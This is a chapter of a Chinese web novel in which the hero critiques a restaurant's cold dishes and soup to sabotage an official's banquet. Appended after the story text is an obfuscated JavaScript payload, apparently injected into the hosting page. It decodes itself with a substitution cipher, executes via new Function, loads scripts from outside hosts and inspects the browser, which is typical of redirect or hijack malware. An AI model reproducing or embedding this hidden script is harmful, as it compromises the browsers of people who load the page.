第二百三十三章大家来找茬(1 / 1)

说话的功夫方富贵上来了,一脸神秘地对方涛到:“爷,小的在下面看见一个人……” “看见谁了?跟做贼似的……”方涛奇怪地问道。 “卞小姐啊!” 方富贵的回答让招财当场跳了起来:“啊!我得出去一下!”说罢拔脚就往外走。 “等等!”方涛一把拽住招财道,“你小子急什么?卞姑娘过来肯定不是找你的,多半是打听到了那个吴伟业的下落,而且正好也在这家酒楼宴请。你这会儿过去打岔,岂不是让人家恨死你了?” “我就是怕那个没尾巴的家伙给卞姑娘气受!”招财气鼓鼓道,“虽说这辈子没我什么事儿了,可一想到卞姑娘受气,我心里就堵得慌!” 史德威算是过来人,也拉住招财宽慰道:“许老弟莫急,卞姑娘此刻刚来,她跟吴大人会说些什么咱们也不清楚,这会儿咱们若是出面,反而于卞姑娘名声有损。我料那吴大人若是宴请,也必然在这层楼的雅间内,咱们还是静观其变,等到不可收拾时再去替卞姑娘出气。如何?此刻咱们出去,两头不落好;等会儿出去,还能拉卞姑娘一把,好处多多啊……” 招财一听,盘算了一会儿,笑道:“就这么办吧!老子既然是流氓,自然也要英雄救美……富贵,耳朵灵点儿,别错过了外面的声响!”方富贵立刻拍胸脯答应。 不一会儿,小二就端着大食盘走进来了。摆上桌的是八道冷菜,招财抢先尝了一轮就撂下了筷子。方涛尝了一轮也撂下了筷子,方富贵比较拘束,见方涛和招财都撂下了筷子,也只得撂下筷子。旁边的史德威见状,迟疑道:“难道……这菜不够好吃?” 旁边的小二急了,连忙辩解道:“哪有!本店可是全京城名气最响的酒楼了!菜式怎么会不好吃!” 方涛微微摇头微笑道:“不是说不好吃,而是我们点的菜多,前面吃太多,后面你肚子怎么装得下?” 史德威同样摇头道:“这话方兄弟你说出来我信,可许老弟胃口大,怎么也不举箸了?” 招财也不具体解释,直接道:“不如涛哥儿手段。” 方涛耸耸肩膀解释道:“这道万年青是隔年油菜的菜头腌制的,口味正好,开胃绝佳,不过再过一个月新菜就要有得卖了,这会儿端上来不合时宜;这道卤牛肉是外头熟肉铺子现买的,山东口味,重视原汁原味有嚼头;驴肉是山西货,口味挺重,不过很香,没偷工减料;酸丝是扬州运来的,至少有了半年;虾不够新鲜,不过鞑子肆虐,情有可原;雀舌是仿的洛阳水席,还行,估计鞑子围城的时候粮食太少,麻雀就遭了罪;芸豆挺烂,入口即化,也不甜得发腻,说明火候上的功夫下得足;最爱这甜条,根本就是在下家乡土产,以前我最喜欢用这玩意儿喝粥;最难得的是这榨菜,这年月能从川中运过来可不简单哪……八道菜,天南地北口味不一,不过搭配齐全,若是我来,万年青不换,这是八道菜里头唯一一个绿的,酸丝换掉,有甜条就够了,最好不过换个盐水鸭或者白斩鸡;驴肉和牛肉中换掉一个,用豆豉小黄鱼;虾本来就不够好,还不如用鸽子;这样,荤的素的、带翅膀的四个蹄儿的、天上飞的地上跑的水里游的,清淡的浓重的就都齐全了,众口难调,这也算照顾了所有客人的口味……” “啪嗒!”史德威的筷子直接掉在了桌上,张大嘴巴傻乎乎地看着方涛;站在后面的小二直接听傻了,不可思议地看着方涛。方涛见状,对小二呵呵笑道:“大冷天地上冷菜,本来就是应景凑数的东西,没哪个食客一边浑身哆嗦一边吃冷盘,我也没在乎这个……” 小二都快哭出来了:“爷,您真厉害,大厨本来就打算按您说的意思准备冷菜,可掌柜的说这些隔年的食材若不用掉,等天暖和了就没法用了……” 方涛挥挥手笑道:“你们家大厨不错!快去端菜吧,这会儿开胃汤应该烧好了,迟了就冷了,没了味儿。”小二忙不迭地跑出去了。 史德威见小二离开,吞了吞唾沫道:“果然够邪门!就这么一吃,就能吃出来……” 方涛朗声笑道:“这说明史兄距离老饕还甚远哪!将来南下,扬州可是淮阳菜式集大成之地,若是不会吃,白地被同僚当土鳖笑话。” “算了!我可没那么多闲钱整天这么吃!”史德威连忙道,“有俩钱,还不如多养几个家丁实在,将来还能派上用场!” 方涛哈哈一笑,举起酒杯道:“我只能吃而已,不过品酒可就不在行了,这个,史兄应该是高手吧?” 史德威亦是哈哈一笑,举起酒杯道:“当仁不让!”说罢一饮而尽。 房门打开,小二端着开胃汤进来了。喝了两口之后,招财没再把勺子撂下,继续猛吃。方涛却是脸色平静地放下勺子:“撤下去,重做!” 小二愣住了,试探地问道:“爷,这汤……” “挺好的呀……”史德威奇怪道,“喝了挺舒坦……许老弟还没……” “我烧给他吃的不过是家常填肚子,搞什么开胃汤?他吃得出来才怪!”方涛回答道,“我刚刚已经说了,要大厨亲自做,这汤摆明了是二灶上的学徒烧的!” “啊?这都能吃出来?”小二的腿都哆嗦了,“爷,您不会有千里眼盯着厨下吧?” “豆腐蛋花汤,”方涛指着开胃汤道,“没有发菜就算了,我不计较。豆腐应该碎一点不错,可这一回也太碎了。这道菜先考校刀功,最好不过将嫩豆腐片成半个指甲盖大小的菱形小片,也只能有指甲盖这么薄,手稍微抖一下就完了;看这乱七八糟的片子,怎么可能是十几年刀功的大厨弄出来的?而且豆腐下锅太早,蛋花下锅也太早,不够嫩,收汤的时候芡粉太多,汤太厚……换大厨做吧!” 小二愁眉苦脸地端着汤下去了,史德威一脸尴尬地说道:“方兄弟,不是我说你,既然是来吃酒,何苦这么挑剔?照这么下去,没吃饱,先吃饿了……” 方涛端起酒杯自饮一杯道:“若是平时,为了防止店大欺客,我也就在头几道菜上挑剔一下,好让老板小二不敢糊弄,后面的菜式自然不会有马马虎虎送上来蒙混过关的;可今日不同,不但我要挑剔,你们也得好好挑剔一下……” 史德威奇怪道:“这是何意?” “为了卞姑娘!”方涛放下酒杯认真地说道,“从冷菜和刚才那道汤上可以看出来,大厨的眼光不错,学徒的手艺也不错,若不是我故意挑剔,绝对算得上好席面了。不过,这样的大厨,以这间酒楼来看,顶多养得起一两个,其余皆为学徒。今日那个吴伟业有宴请,来者必然都是达官显贵,大厨自然要照顾那些人,咱们挑剔一些,闹腾一些,加上我这个同行鼓噪,让这些大厨跟我斗斗气,这样……” 史德威眼睛一亮,笑道:“这样,大厨宁可不做那帮达官显贵的生意,也要把这份面子争回来!同行是冤家,他们可丢不起这份脸,醉仙楼也丢不起这份脸!如此,吴大人那边的菜恐怕就得学徒上了!实在不行,那就只能是咱们点什么菜,大厨只得依样做一份送到那边去,吴大人是南方人,口味清淡;咱们多点一些北方重口味的菜,反正咱们喝的是烈酒,而他们……哈哈!” 方涛笑笑道:“咱们开始斗斗法吧!等会儿甭管上什么菜,咱们先猛吃一通再挑毛病……”几个人顿时大笑起来。 开胃汤再次端上来的时候已经换成了大厨做的了,果然比起学徒的手艺高出了一截,方涛也没什么可挑剔的。不过后面的菜式乐子就大了,一只烧鸭端上来,被招财啃得只剩骨架之后就开始叫嚷着换菜,甭管你怎么解释,人家还都有换菜的理由。小二这才意识到今儿是同行来斗法砸招牌了,连忙飞也似的跑出去找掌柜的。掌柜的倒是有心逐客,可金锭已经收下了,再把客人赶出去的话,名声可就臭了,人家不说客人找茬儿,人家只会议论你这个酒楼斗不过人家的厨子,只好赶人家出门。没辙,只得硬着头皮把两个大厨调过来,小心应付方涛这伙混蛋,另一头只能让学徒先凑合;吴伟业那边的菜式口味立刻降了下来。 这一下官老爷们不干了,凭什么呀,我们也是给钱吃饭的,还有官身,怎么菜的口味就立刻差了?这边一摆官威,掌柜的又慌了,只得让厨子每样菜烧两份,一份送方涛这头,一份送吴伟业这头。好在官老爷们基本都是给了钱之后“挑好的上”,没有放下架子点菜的概念,也能蒙混一阵子。可方涛这小子嘴实在太刁了,一进嘴就尝出了这锅菜是一式两份,不是单灶独炒出来的,毕竟单份菜和大锅菜在火头的控制上有明显区别,内行一尝就知道。于是又嚷嚷着换菜。这一下掌柜的急了,只得亲自敲开方涛这边包间的门,名为赔罪,实则探底谈条件。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();